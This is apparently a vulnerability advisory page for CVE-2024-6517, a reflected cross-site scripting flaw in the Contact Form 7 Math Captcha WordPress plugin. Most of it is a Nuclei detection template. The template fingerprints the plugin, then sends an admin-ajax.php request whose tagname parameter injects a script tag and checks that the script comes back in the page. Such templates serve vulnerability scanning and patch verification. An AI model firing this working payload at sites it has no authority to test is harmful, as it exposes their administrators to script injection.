CVE-2024-6517: Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting

日期: 2025-08-01 | 影响软件: Contact Form 7 Math Captcha | POC: 已公开

漏洞描述

The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.

PoC代码[已公开]

id: CVE-2024-6517

info:
  name: Contact Form 7 Math Captcha <= 2.0.1 - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The Contact Form 7 Math Captcha WordPress plugin through 2.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users.
  reference:
    - https://wpscan.com/vulnerability/d04bab9c-7cb4-4d21-b70b-a4a7fabc3c20/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6517
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-6517
    cwe-id: CWE-79
    epss-score: 0.01349
    epss-percentile: 0.7941
    cpe: cpe:2.3:a:dotsquares:contact_form_7_math_captcha:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dotsquares-wpteam
    product: ds-cf7-math-captcha
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ds-cf7-math-captcha"
  tags: cve,cve2024,wp,wordpress,wp-plugin,xss,ds-cf7-math-captcha

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/ds-cf7-math-captcha")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=dscf7_refreshcaptcha&tagname="<script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202d3d5357944b3f32882f75ea366eb6685aa448a20ce36eb0e045ba693dc8c19f022100f1b29154b75420436f4cfccd9a9a678df0b0f203ddc73c3f54ead59a41c10e2c:922c64590222798bb761d5b6d8e72950